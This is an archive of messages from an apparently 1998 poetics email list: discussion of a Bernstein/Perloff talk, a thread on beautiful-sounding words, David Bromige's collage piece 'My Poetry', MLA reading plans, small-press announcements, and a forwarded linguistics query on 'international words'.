Stepping Razor, A.L. Nielsen, $9.
Errata 5uite, Joan Retallack, $8.
Dogs, Phyllis Rosenzweig, $5.
Aerial 9: Bruce Andrews, Rod Smith ed., forthcoming February 1999.
Aerial 8: Barrett Watten, Rod Smith ed., $15.
Aerial 6/7 featuring John Cage, Rod Smith ed., $15.
Aerial 5 featuring Harryman/Hejinian, Darragh/Retallack, Rod Smith ed., $7.50.
On Your Knees, Citizen: A Collection of "Prayers" for the "Public" [Schools], Smith, Brown, and Wallace, eds., $6.
Cusps, Chris Stroffolino, $2.50.
Nothing Happened and Besides I Wasn''t There, Mark Wallace, $9.50.

Orders to: Aerial/Edge, POBox 25642, Washington, DC 20007. Add $1 postage for individual titles except _Sight_. 2 or more books postpaid.

They have this peaceful but wild existence -- where everything's disturbed in it, but not by them
--Leslie Scalapino

There may be no animal boundary -- just the stream and the pleasure that lies in it
--Lyn Hejinian

↑ Index

540. **Tom Orange**
Bernstein/Perloff in Chicago
Tue 15 Dec 1998

---

joe, could you elaborate on the positions articulated here? i'm not quite clear on what's being said...

thanks,
t.
[redacted]

"marjorie's ruminations as to how statements of poetic intent have become rather de rigueur these days (and not all that useful, in her opinion), and

charles's collapse of the "theory vs. [poetry, e.g.]" distinction into the (passionate, writerly, readerly) *essay* form---while reserving, as i heard him, a somewhat privileged place for philosophical discourse itself---well, their exchange provided food for much thought on this end, anyway..."

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541. George Bowering
Re: syllable sounds
Tue 15 Dec 1998

I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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542. david bromige
bernstein/perloff: orange question
Tue 15 Dec 1998

> charles's collapse of the "theory vs. [poetry, e.g.]" distinction into the
>(passionate, writerly, readerly) *essay* form-

Apologies for the length of the ensuing. I have excised it from a considerably longer, complete piece. Without a substantial portion, the effects will not be apparent.

MY POETRY

David Bromige, 1978

My poetry does seem to have a cumulative, haunting effect--one or two poems may not touch you, but a small bookful begins to etch a response, poems rising in blisters that itch for weeks, poems like ball-bearings turning on each other, over & over, digging down far enough to find substance, a hard core to fill up the hand. It's through this small square that my poems project themselves, flickering across the consciousness, finally polarizing in the pure plasma of life. The reader grows impatient, irritated with my distancing style, coming at him in

the rare book format, written under not one but two different kinds of dirty money, & knowing me to be an english teacher.

"The Protestant Poem" & the prose piece "He Was" typify my tendency to write over-elaborated series of possibilities which become arid & abstract. It's possible for even the best current poetry to sink into oblivion without wholly justifying itself through such an absolute renunciation of mediocre success. "The Protestant Poem" & certainly, "He Was," are not arid, they're great (except maybe, "kaleidoscopic world"). My poetry is "curiouser & curiouser" as it makes a descent into the rabbit-hole where descent becomes the subject of the poem's concern....

At this point, then, we begin to glimpse what is the profound vocation of the work of art in a commodity society : not to be a commodity, not to be consumed, not to be a vacation. Isn't this the piece talking to itself, hoping to be overheard, & contradicted. Because, the interest evident in the construction, rhythm of the sentences, obviates the need for the content. (Not to deny the feelings, of course). And I, as you probably do _not_ know, am a sucker for children in pain. If you allow Cezanne to represent a third dimension on his canvas, you must allow Landseer his gleam of loyalty in the spaniel's eye. I really don't think I'm demanding too much. The idea that poetry is good fora person & should be choked down like a horse pill is ridiculous....

Bernstein composes using a vocabulary which at all points (nearly) proposes itself as the other--this vulnerability, constantly expressed, is a sign of what (why does he insist on it?)--yet "what I want to call attention to is that there is no natural writing style" which of course is exactly what Barthes was sayiong in '53, _non_ ? These are the poles & what moves the piece is that there is no resolution, point of equilibrium. Here too, the problematic mode proposed as a strategy for composition, as such--this whole body of poems is a big jump forward for me, in that I'm no longer writing "just poems," each work is somehow myself....

The constant erasure of signs for presence leaves the poem an interstitial agent in the service of intentionality, & the uncertainties & doubts which Keats saw as the essential condition for poetic creation become the characteristics of generation in any form. The non-instrumental, which gives instance of what stands for itself & so not a call to revolution or a representation of the struggle & how it is peopled, but an instance of it (product, the unalienated or re-integrated itself : while still putting off (& on) other myths of "presence" which turn on a misunderstanding of how language operates & how we operate in it, which is to say no e,y,e,s).

The blurb on the book says the usual blurb-things. "David Bromige writes carefully, with _pleasure_ --which is the point." Well, which _is_ ? I am the author of

previous books, which is the point. A stunning achievement. Good images ("as carefree as a coffin-nail commercial"), & often a good use of language."Still there" is a remarkably clear, beautiful poem. The poem ceases to be a process of discovery. You go to step on the boardwalk & it's rotten. I try to transcend my petty anger & bring you into an area of engagement under the rule of Poetry. Notes are made along the way toward a remembered edifice. Even a divine physics cannot make categorical thought-determinations of realities intuitable in the plain, ordinary way ; as little as divine omnipotence can bring it about that elliptical functions should be painted or played on the fiddle. The tone is objective, rendered ironic by contrast with the monstrous behavior portrayed. What does the "one who knew this" know?....

In my poetry the search shows, & so do the seams often, but my poetry gains authenticity from its deliberate ruggedness. Bull shit. Everywhere there is the tension of an incomplete sentence, an ambiguous antecedent, an unnatural act, an illogical causality.

> A sentence, as the expression of a
> complete thought, is not natural &
> does not exist in nature. Is not
> natural & does not exist in nature.

The prose pieces are of a deft, deadpan order, hinting at more than they state. It's difficult to say whether this prose makes too much ordinary sense, for it is less zany & irritating than _Tender Buttons_ --as if that were some kind of discus mark set in 1911 for extra-syntactic competitors. Yet is it teasingly nonsensical when it is most clipped & aphoristic....A slight, simple poem is slight & simple, & for A.R.Ammons there's no getting away from that. I've been thinking lately about some sort of code of ethics for reviewers. Everywhere the ceremonies of the Phallus are rehearsed, questioned & continued. It is that agonizing lust to express with which I can personally empathize....The poet A.W. Purdy was gleeful :

> I have a very low opinion of the Black Mountain
> "method" of writing poems (which is partly the
> exclusion of any other method) & have seen some
> of David Bromige's reviews of myself & others before.

Either poetry is real, real as, or, as Shelley for one believed, realler than, life; or it is nothing, a stupid & stupefying occupation for zombies. Freud's condensation & displacement are figured here in the poet's tasks....

This is just to say I've gained the art & language in which I bring my readers deeper than any consideration of a personality to the awarenss of a living man -- hence in reading these recent books of mine one may find oneself in a solitude & a -- "Tight Corner," I might call it--edge or risk of Being that seems even as it

is most mine to be speaking for a depth of one's own inner being. Climb bean sort of is substitute destiny. Extremely useful & succinct on the problem of writing verses literature. Silence amounts to the same thing, recommended for university & large college libraries :

Sign on Librarian's Desk

R E V E N G E

I could never have done it alone. The self to write about the products of the self which the self tries to make as selfless as possible, in order that they may be seen to come from the true self, by involving it with & invoking it for contiguous other selves (readers)...;

[etc, etc].

This, in its uncut version, appeared in Perelman & Shaw's _Hills_ , then in _My Poetry_ from The Figures, 1980. This book is long o.p. & Sun & Moon at one point expressed intention to bring it back into print, with an intro by Ron Silliman; the intro has been written, but the reprint, though announced, appears unlikely.

I thank you, if you have come this far, for your attention. David

↑ Index

543. **Pierre Joris**

Re: syllable sounds

Tue 15 Dec 1998

George Bowering wrote:

> *I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

& I remember some piece of research years ago that found that for most people the euphonically most beautiful word in English was "carcinoma."

Pierre

--
==========
Pierre Joris

[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

544. **miekal and**
Re: MLA Poetry Event
Tue 15 Dec 1998

Charles Bernstein wrote:

Oxford tells me they will be offering Close
> Listening at a 50% discount at the party (eg: $10). If the book selling is
> not
> in place by 5:15, I will take orders and have any books ready, signed by any
> and all present, by the time the reading is over.

I'll take one.

Good to see you writing to the list, C, thought maybe the listbrats had driven you to swear off electronic poetics.

miekal

↑ Index

545. **Pierre Joris**
MR
Tue 15 Dec 1998

Today is the birthday of Muriel Rukeyser,

who wrote:

"My night awake
staring at the broad rough jewel
the copper roof across the way
thinking of the poet
yet unborn in this dark

who will be the throat of these hours.
No. Of those hours.
Who will speak these days,
if not I,
if not you?"

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

546. **John Latta**
Re: syllable sounds
Tue 15 Dec 1998

I used to routinely ask students to list "most beautiful" words (also "funniest"). My favorite response to the former was that of a rather shy woman: "syringe." The only "funniest" I recall was "chum."

John Latta

↑ Index

547. **Judy Roitman**
Re: syllable sounds
Tue 15 Dec 1998

> *George Bowering wrote:*
>
> *I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".*
>
> *George Bowering.*
>
> ,

> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
>
> *& I remember some piece of research years ago that found that for most people the euphonically most beautiful word in English was "carcinoma."*
>
> *Pierre*

And there's the baby named, many years ago in the U.S. South, Poliomyelitis. Or is this just a rural legend?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
---
http://www.math.ukans.edu/~roitman/

↑ Index

548. **shana**
Re: syllable sounds
Tue 15 Dec 1998

On Tue, 15 Dec 1998, Judy Roitman wrote:

> *George Bowering wrote:*
>
> *I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".*
>
> *And there's the baby named, many years ago in the U.S. South, Poliomyelitis. Or is this just a rural legend?*

I heard a legend about an immigrant couple who named their child what they thought was the most beautiful word in the english language-- "diarrhea."

I'm actually in love with pharmacological words--my recent favorite is "Propecia," the name of a hair growth drug for men. Zithromax is good, too.

shana

↑ Index

549. **Billy Little**
Re: Digital Arts and Culture 98
Tue 15 Dec 1998

---

any reports from the Digital Arts and Culture conference in Norway?

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

↑ Index

550. **Pritchett,Patrick**
Re: syllable sounds
Tue 15 Dec 1998

That "Asian" must have read the Paris Review interview with Don DeLillo (in the 40th anniversary issue, a few years back) where, in a discussion about the famous "Toyota Celica" passage in _White Noise_, he cites an alleged study that reached the same conclusion.

Patrick Pritchett

> *George Bowering wrote:*
>
> *I recently heard an Asian say that the most beautiful English word he'd ever heard was "cellardoor".*
>
> *George Bowering.*

↑ Index

551. **Charles Bernstein**
Re: MLA Poetry Event
Tue 15 Dec 1998

One of the highlights of the MLA convention later this month in San Francisco is surely the Lyn Hejinian, Leslie Scalapino, and David Bromige reading, organized by Burton Hatlen. Not to be missed. It was a treat to read David's "My Poetry" just now on the list: a work I have been totally amazed by since I first read

it and David is quite right that "My Poetry" is exemplary of the sort of writing I had in mind in my comments in Chicago the other night.

Anyway, back to the MLA: by a cruel quirk of fate, the Poetry Division cash bar and book party is at the same time as the reading and while conflicts are endemic to these conventions, this one is particularly unfortunate.

The Poetry Division cash bar and book party follows a reading and conversation with Adrienne Rich, which takes place Monday Dec. 28, 3:30-4:45. The Cash Bar goes from 5:15-6:30. Both events are in Plaza Room A, San Francisco Hilton. The book party is for Rich's new collection Midnight Savage (Norton) and for Close Listening: Poetry and the Performed Word, which I edited (Oxford Univ. Press), Imagining Language, ed. Steve McCaffery and Jed Rasula (M.I.T. Press), and Poems for the Millennium, vol. 2, ed. Jerome Rothenberg and Pierre Joris (Univ. of California Press). Rich and all the editors will be present.

Since the Rich reading ends at 4:45, perhaps those attending the Bromige/Heninian/Scalapino reading can come by Plaza Room A at that time, and hang out till 5:15, when the reading starts, since it takes place very nearby (Franciscan Room A). I think most of us will be there then, and hopefully at least sample copies of the books will be there too -- even if we have to wait for them to set up the bar. Oxford tells me they will be offering Close Listening at a 50% discount at the party (eg: $10). If the book selling is not in place by 5:15, I will take orders and have any books ready, signed by any and all present, by the time the reading is over.

↑ Index

552. **MAYHEW**

submorphemic sememes

Tue 15 Dec 1998

This discussion of syllable sounds calls to mind Antin's talk 'the structuralist' with its tale of a red-haired dwarf painter/linguist who writes a poem using only "submorphemic sememes," e.g. phonemes or combinations of phonemes that seem to signify *naturally*. For example gl is the "sememe of visual manifestation" (197), as in glimmer, glance, gloom, glimpse, etc... Also check out Genette's Mimologiques (translated as Mimologics). The Antin piece is in the book _what it means to be avant-garde_ (New Directions 1993).

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

553. **Joe Amato/Kass Fleisher**
Re: Bernstein/Perloff in Chicago
Tue 15 Dec 1998

---

tom, basically marjorie was arguing that it's become all the rage to fashion one's "poetics" ex post facto, and that in many cases said poetics are neither urgent nor compelling... she referenced, e.g., the collection of such statements at the back of many anthologies of poetry...

charles was questioning whether in fact "theory" wasn't itself often used as a way of narrowing---pinching---discourse... he would prefer, as i understood him, to think of the essay form itself as permitting for theoretical speculation---whether by poet or by critic... he did reserve a place for philosophy as the proper site of more rigorous thought (as opposed, that is, to theory)...

perhaps it will help if i clarify a bit why i asked my question: it seems to me that an argument can be made that what distinguishes much of the more oppositional/alternative/non-mainstream writing is a willingness to theorize one's "craft" (i use the latter with some skepticism intact---the word often constitutes the alpha & omega of theoretical speculation on the part of more conventional writers for whom (e.g.) de man's "resistance to theory" is already theoretically excessive)... jed rasula has argued this vis-a-vis the beats, and i think the same might be said of language poetry-writing (though might not be said, perhaps, of more populist poetic forms and events)... how academic and professionalizing forces figure into the question of "theory" (note quotes here) is a matter i'll leave open for the moment... suffice to say that, when i used the term, i do not mean to delimit theory in popperian terms (i.e., falsification etc.), and that "theory" is certainly a commodity in academe these days (albeit not the commodity it was even a decade ago)...

so to suggest that "theory"---a basic self-reflexive quality, a challenging of one's own assumptions---need not be so constraining, and yet is at the same time an important part of one's practice, situates one somewhat contra certain academic work, and at the same time, contra certain artistic presumptions (e.g., "just feel it")...

the question remains though: since theory as such constitutes a literacy (as we've known it thus far) completely tied-up with print literacy, and since any move toward the visual (or the aural) takes us away from the latter (not in a strict sense, but generally)---how might we "theorize" (note quotes again) our poetic articulations so conceived w/o forcing visual-aural work to tow what is in essence a literary line?... how do you theorize words/images/sounds w/o selling images and sounds short? (a picture is worth a thousand etc.)...

nothing exactly "new" here, nothing unprecedented, and nothing that hasn't been the focus of all sortsa discussion... but i think it's becoming more and more topical, esp. in light of our electronic media... and i could, too, toss around words like "hybrid," "creolized," even collage, etc., to point to possible ways of addressing this issue... but worth thinking through, i think, however one does so...

best,

joe

↑ Index

554. **sylvester pollet**
Re: syllable sounds
Tue 15 Dec 1998

At 11:00 PM -0800 12/14/98, George Bowering wrote:
>I recently heard an Asian say that the most beautiful English word he'd
>ever heard was "cellardoor".
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

Bust him for plagiarism--it was Gertrude Stein who said that (though I can't footnote it at the moment). I'd have to concede, though, it's better than cell door. ho ho ho, Sylvester

↑ Index

555. **Lawrence Upton.**
Domestic Ambient Noise
Tue 15 Dec 1998

Writers Forum announces the two latest sections of DOMESTIC AMBIENT NOISE by Cobbing and Upton

IMBALANCE Bob Cobbing / Lawrence Upton ISBN 0 86162 847 0 December 1998

OF ZERO AND INFINITY Lawrence Upton / Bob Cobbing ISBN 0 86162 848 9 December 1998

Each £1.00 plus postage

190 published so far. 110 to go.

All orders / enquiries to New River Project, 89a Petherton Road, London N5 2QT. Enquiries with s.a.e./i.r.c. please

---------- Lawrence Upton's website: http://members.spree.com/sip/lizard/
---------- "WORD SCORE UTTERANCE CHOREOGRAPHY in verbal and visual poetry" edited by Bob Cobbing and Lawrence Upton Writers Forum, London, 1998; 156 pp; ISBN 0 86162 750 4

↑ Index

556. **Tom Beard**
Re: syllable sounds
Tue 15 Dec 1998

> *At 11:00 PM -0800 12/14/98, George Bowering wrote:*
> *I recently heard an Asian say that the most beautiful*
> *English word he'd ever heard was "cellardoor".*

Didn't someone famously state that the most beautiful word in English was "elbow"? But I'd have to agree that "cellardoor" sounds gorgeous: it sounds un-English, perhaps the exotic island of Selador, or perhaps "c'est la d'or".

As for me, the two most beautiful words in the English language are "Transaction Accepted".

And speaking of syllable sounds & Lewis Carroll, I remember that in Godel, Escher, Bach there are 'translations' of Jaberwocky into French & German, with very strange and revealing results. Does anyone know who the translators were?

Cheers,
Tom Beard.

↑ Index

557. **Pierre Joris**
Re: syllable sounds
Tue 15 Dec 1998

Tom Beard wrote:...

I remember that in Godel,

> *Escher, Bach there are 'translations' of Jaberwocky into French & German, with very strange and revealing results. Does anyone know who the translators were?*

Putative French by one Frank L. Warrin as published in _The New Yorker_ (1931) und Putatives Teutsch by one Robert Scott, as published in _MacMillan's Magazine,_ 1872.

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

↑ Index

558. Susan Schultz
Re: TINFISH reminder
Tue 15 Dec 1998

Just a reminder that the new _Tinfish_ is available. Each cover is--in part--a different weather map of the Pacific (Gaye Chan fished them out of a National Weather Service dumpster); I found one map with two typhoons and a tropical depression. So order more than one and partake in Pacific flux! $5 per and $13 for a subscription to three. They make great holiday gifts, as do our chapbooks (ask backchannel about any of this).

I won't be at MLA, but best wishes to everyone who will be, especially those of you in search of employment.

Susan Schultz
47-391 Hui Iwa Street #3
Kaneohe, HI 96744 USA

↑ Index

559. **Anastasios Kozaitis**
hambone
Tue 15 Dec 1998

Can someone please f/c or b/c me email or address info for HAMBONE?

thanks.

AK

==========
Anastasios Kozaitis
274 President Street, #4R
Brooklyn, NY 11231
[redacted]
==========

↑ Index

560. **Pete Neufeld**
Re: syllable sounds and reference
Tue 15 Dec 1998

I agree with Jen Hofer's post a few weeks back, where she argued "it is firmly my belief that all words reference." For a word or utterance to truly lack a reference would require, in my mind, that it had no dissimilarity from all other utterances that, through differences, would define it. I mean to say that context seems most important when one reads-- for example-- "brillig" in a poem, in this case, by Louis Carroll. Even it if lacks a clear definition or dictionary entry, it still points towards a possible meaning, even if that meaning might be in permanent abeyance. And we can say all sorts of interesting things about it, what it attempts to do, how it undermines x and y, how it fits the syntax of this or that, and so on. So in the end I would argue that it signifies, and that we demand that it does. I think even something as unrecognizable as Hugo Ball's sound poetry or Kurt Schwitter's _Ur Sonata_ still refer, they re-ferre, literally in the Latin "carry-back, report," (actually a military term all over Caesar's _Gallic Wars_)upon what exactly, I would agree, is clearly open to debate. Even if you can't read Bob Grenier's work, it still signifies, in fact we tend to insist that it does. I find it hard to imagine a non-referential language, the two seem incompatible. As far as sounds and syllables and the men and women who loved them, Shelley voted "syphilis" the most pleasing word to the ear in the language.

Pete

↑ Index

561. **joel lewis**
f.y.i.
Tue 15 Dec 1998

EMI Stops Production of Nazi Songs COLOGNE, Germany (AP) _ International recording label EMI says it has stopped production of a cassette by German folk singer Heino that contains traditional marching songs the Nazis used during World War II. The cassette, titled ``As We March Side By Side,'' was produced several years ago but never marketed commercially because of EMI's concerns about its content, EMI spokesman Erich Grote said Monday in Cologne. The 60-year-old Heino, popular mostly with older Germans, has been singing folk music since the 1960s. ``As We March Side By Side'' contains songs popular before the Third Reich but exploited by the Nazis as propaganda about the glories of Germany. Heino also sings the German national anthem on the cassette, including the original first verse that was banned after the war. It begins: ``Deutschland, Deutschland ueber alles,'' or ``Germany above all.'' The decision to stop production of the cassette followed a German TV report that ``As We March ...'' was being offered for sale by mail order in the extreme right-wing German National Newspaper. ``This was an unpleasant surprise,'' the EMI spokesman told The Associated Press. ``We immediately informed our customers that we would not fill any more orders (for the cassette), because we in no way want to support this kind of product.'' Heino was not immediately available for comment about EMI's decision. The newspaper, published in Munich by politician Gerhard Frey, had been running the mail-order advertisements for about a year, the station ARD reported.

↑ Index

562. **miekal and**
Re: welcomed
Tue 15 Dec 1998

Jessica Pompeii wrote:

I am certain you are all kind hearted
> academics.

Ya got me pegged.

dyed in tweed pipesmoker

miekal

↑ Index

563. Jessica Pompeii
welcomed
Tue 15 Dec 1998

I feel everything about everything. It seems at some point. Or all at the same time. For instance now. This list. I am certain you are all kind hearted academics. And vice-versa. My fave greek was/is Carneades. He believed in odds to determine his actions and perceptions. Yet was always open to new statistics. Opening. Hi. -js

↑ Index

564. Emily Lloyd
Re: poetics of impeachment
Tue 15 Dec 1998

> *If you were going to court a beloved etc.>>*

Sadly, strangely, unfortunately, or coincidentally, no one I've ever courted (or been beloveds with) has had a lick of interest in poetry. I'd feel like Alvy Singer pushing death & dying books on Annie Hall.

HowEVer, if anyone out there wants to come a'courtin here, I'll be happy to provide an extensive, alphabetized list that'd work at least as well as a backrub-with-motives, beginning, now that Charles mentions it, with *Close Listening* and vol.2 of *Poems for the Millenium*.

hankie-droppingly yrs,
em

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

565. Amy King
Re: f.y.i. - Heino - I wish I threw rocks back then.
Tue 15 Dec 1998

-----Original Message-----
From: joel lewis <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, December 15, 1998 5:41 PM
Subject: f.y.i.

> *EMI Stops Production of Nazi Songs*
> *COLOGNE, Germany (AP) _ International recording label EMI says it has stopped production of a cassette by German folk singer Heino*

> *that contains traditional marching songs the Nazis used during World War II.*

This Heino truly is disturbed. I've seen footage of performances (70's?) that do not present a "folk singer" of the traditional long hair, acoustic guitar playing, granola in the back pocket genre.

Some were quite entertaining, even innovative (a stand in does some karate kicks and flips, really "gets down" for him during one song - a feat only Madonna has replicated since), but a piece I remember vividly was of the suit clad Heino singing to some underage girls while obviously oogling them from behind his trademark sunglasses. However, he does only hold their hands, stroke their shoulders. Not too shabby for a grown man. The old celebration of the respectable drooling perv. He reminded me of the scalely men who "fed pigeons" in the park where my teen girlfriends and I met up to smoke.

↑ Index

566. **Tosh**

Re: f.y.i. - Heino - I wish I threw rocks back then.

Tue 15 Dec 1998

All my friends tell me that Heino is cool (in sort of a bad retro way). Are there any plans to publish the complete lyrics of Heino?

Tosh Berman
TamTam Books

↑ Index

567. **Kathy Lou Schultz**

Re: hambone

Tue 15 Dec 1998

Hambone
Nathaniel Mackey, Editor
134 Hunolt Street
Santa Cruz, CA 95060

Anastasios Kozaitis wrote:
>
> Can someone please f/c or b/c me email or address info for HAMBONE?
>
> thanks.
>

> AK
>
> ==========
> Anastasios Kozaitis
> 274 President Street, #4R
> Brooklyn, NY 11231
> [redacted]
> ==========

↑ Index

568. John Tranter
Herman Utix.
Wed 16 Dec 1998

A young boy (his parents were born in Vietnam) at my children's school (in Sydney, Australia) had a Vietnamese name which unfortunately sounded very rude in English. A teacher spoke to the parents and tactfully suggested that their child would have a less miserable time at school if he changed his name. After considerable thought they agreed, carefully chose a neutral-sounding English name, and registered it by deed poll. The boy wore his new name with pride: Germain Grommet.

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

↑ Index

569. Leonard Brink
Announcement - Windhover #2
Wed 16 Dec 1998

The second edition of Windhover is now on-line at:
http://home.sprintmail.com/~windhover

It features POETRY by:

Maxine Chernoff
Henry Gould
Martha Ronk
Stephen Ratcliffe
Paul Naylor
Sheila E. Murphy

Spencer Selby
Miekal And & Maria Damon

REVIEWS by:

Steve Evans
Jono Schneider

& POETICS by:

Kent Johnson

Windhover is dynamic i.e. this issue will continue to accept submissions for a few weeks.
(The first edition, for those who missed it, is still on-line.)

↑ Index

570. Rachel Levitsky
Re: syllable sounds and reference
Wed 16 Dec 1998

Shelley voted "syphilis" the most pleasing word to the
> ear in the language.
>
Today my ear is obsessed with "sidereal"

↑ Index

571. Daniel Zimmerman
lost in translation?
Wed 16 Dec 1998

Dear Listees:

Having received the following message on U. Penn's LINGUIST listserv, I tried to produce a poem that would lose nothing [well, almost nothing] in translation.

It uses [except for "a" and "in"] words which K. S. Chung regards as strong candidates for words recognized pretty much everywhere around the world [though a Turkish student tells me that "curry" doesn't work in her language]. I confess I couldn't bring myself to use "golf," but I did get all the others into the piece.

So: the first 'international' poem that loses nothing [asuming it has something to begin with!] in translation:

SAUNA

neon alleluias!
chocolate ninja czar
a shock in yoga-jazz
curry T-shirt!
OK, cocoa bikini!
platinum card!

--Dan Zimmerman

Date: Sat, 12 Dec 1998 10:27:26 +0800
From: Karen Steffen Chung <[redacted]>
Subject: International Words

Last August I posted a query regarding 'international' words (LINGUIST 9.1151) like _chocolate_, which seem to end up as phonetic loans in just about any language/culture that is acquainted with the referent concerned.

I got quite a few interesting replies, which I've collated below.

I'd like to ask a further question here: Does anyone know of a word or words for 'chocolate' in native Mexican/Mesoamerican languages? One correspondent, Antony Dubach Green in Germany, suggested that if any language had a word for 'chocolate' that is not somehow a phonetic loan of _chocolate_, it would most likely be a Mexican language, where chocolate is native (Nahuatl: _xoco_ 'bitter' + _atl_ 'water').

John Koontz gave some very detailed and interesting information on Omaha-Ponca and Teton Dakotan, offering exmaples of non-cognate words for 'tea'. See also the note below on 'coffee' in Amharic from Robert Ratcliffe in Japan. Please reply to me privately if you have any further input on any of the above data.

John Koontz offered a useful suggestion, i.e. that maybe one cannot be too absolutist in looking for a word that is a phonetic loan in *all* known languages. His comment:

> *I haven't thought of any potential international non-food terms. I wonder, though, if you might not need to be somewhat less than absolute in identifying such terms. Widespread and crossing the boundaries of known relationships, or of known origin, might suffice.*

This makes sense, since words like 'tea' and 'coffee' get pretty *close* to being 'international' words, based on the data collected so far.

Heartfelt thanks to:

Diana ben-Aaron [redacted]
Sylvia Bendel [redacted]
Bart de Boer [redacted]
Gordon Brown [redacted]

Wayles Browne [redacted]
John Brownie [redacted]
Vassilis Christodoulou [redacted]
Helmut Daller [redacted]
Radu Daniliuc [redacted]
Karen Davis [redacted]
Nancy Frishberg [redacted]
Antony Dubach Green [redacted]
Earl Herrick [redacted]
George Huttar [redacted]
John E. Koontz [redacted]
Rina Kreitman [redacted]
Rick McCallister [redacted]
Mark Mandel [redacted]
Mike Moss [redacted]
Mohammed Moubatassime [redacted]
Douglas Mullins [redacted]
Tara L. Narcross [redacted]
Lukasz Pielasa [redacted]
Robert R. Ratcliffe [redacted]
Carsten Sinner [redacted]
Sijmen Tol [redacted]
Larry Trask [redacted]
Cristina Varga [redacted]
Colin Whiteley [redacted]
Sean Witty [redacted]

Below follow lists of possible candidates for international words, along with others that failed either the Chinese or another language test, based on the responses I received. I used Mandarin Chinese as a key test since it is a language that tends to use loan translations/calques or original coinings where possible rather than phonetic loans.

Possible 'international word' candidates (that pass the Chinese test):

alleluia
bikini
card
[the chemical elements]
chocolate
cocoa
curry

czar/tsar
golf
jazz
ninja
OK
sauna
shock
T-shirt
yoga

Words suggested that didn't pass the Chinese (or some other) test:

alcohol
allergy
automobile
banana
calculator
catastrophe
chess
class
climate
cocktail
coffee* (see note below)
computer
democracy
detective
diskette
elephant
fax
football
garage
gas
gay
hygiene
jeans
jogging
kangaroo
karate
mama (Japanese _haha_)
mass
metal
microphone
muesli

music
organisation
papa (Japanese _chichi_)
planet
radio
rendez-vous
rock (music)
sex appeal
striptease
sugar
symbol
taxi
tea**
television
telephone
theater
tiger
train
tunnel
video
violin
xerox
zoom (lens)

Notes

*But take Coffee. It is indigenous to the area around the strait of Bab-el-Mandeb, that is Yemen and Ethiopia. In Yemen (that is in Arabic) it is called _qahwah_, which becomes _kahve_ in Turkish _kafe_ in Italian _kawfi_ in English _koohi_ in Japanese. But in Ethiopia (at least in Amharic) it is called _bunn_. This word _bunn_ is also used in Arabic to refer to fresh coffee beans, before they are roasted and ground. I hope some Americanist on the list will have an interesting story to tell about chocolate.

- Robert R. Ratcliffe <[redacted]>

**Omaha-Ponca xa'de maN'kkaN 'tea; lit. grass (or herb) medicine' Omaha-Ponca maN'kkaN sa'be 'coffee; lit. black medicine' Teton Dakotan c^haN-khal'yapi 'tea; lit. warmed wood (bark)' Teton Dakotan phez^u'ta sa'pa 'coffee; lit. black medicine (or weed)' Omaha-Ponca and Dakotan are Siouan languages (North America). In Omaha-Ponca there are no words for chocolate or curry, though presumably the English terms would be used, with little or no adaptation. Omaha-Ponca is certainly not without loan words and certain vocabulary

fields (dates, numbers, English given names) are normally filled with more or less unadapted English terms. However, I think there is a feeling that such foreign words are expedients rather than naturalized, and in general there is some resistance to loans. They seem to be much less prevalent than in European languages. Calques are more common, often from the old trade pidgin in the case of European items, e.g., ppe'de niN' 'fire water' for 'whiskey' (cf. ardent spirits?) or maN'ze ska' 'white metal' for 'money' (cf. French argent?).

- John E. Koontz [redacted]

Suggested references (heavily weighted toward 'international' words in European languages only):

Braun, Peter, Burkhard Schaeder, & Johannes Volmert (Hgg.). 1990._Internationalismen: Studien zur interlingualen Lexikologie und Lexikographie_. Tubingen: Niemeyer. 193 p. (Reihe Germanistische Linguistik; 102)

Goursau, Henri & Goursau, Monique. 1989. _Dictionnaire europeen des mots usuels, francais-anglais-allemand-espagnol-italien-portugais_. Saint-Orens-de-Granville: Edition Goursau.

Walter, Henriette. 1994. _L'aventure des langues en occident_. Paris: Editions Robert Laffont.

Karen Steffen Chung
National Taiwan University
[redacted]

↑ Index

572. A. Jenn Sondheim

NEW OBSERVATIONS issue on Cultures of Cyberspace (fwd)

Wed 16 Dec 1998

A new issue of NEW OBSERVATIONS, on Cultures of Cyberspace, is now out, and available from New Observations for $6. Edited by Alan Sondheim, the magazine is 8.5x11, with glossy purplish cover, approx 40 pps. with _a lot_ of text. The writers are from 'all over,' including many from the Cybermind and Fop-l email lists (as well as Future Culture, Poetics, etc.).

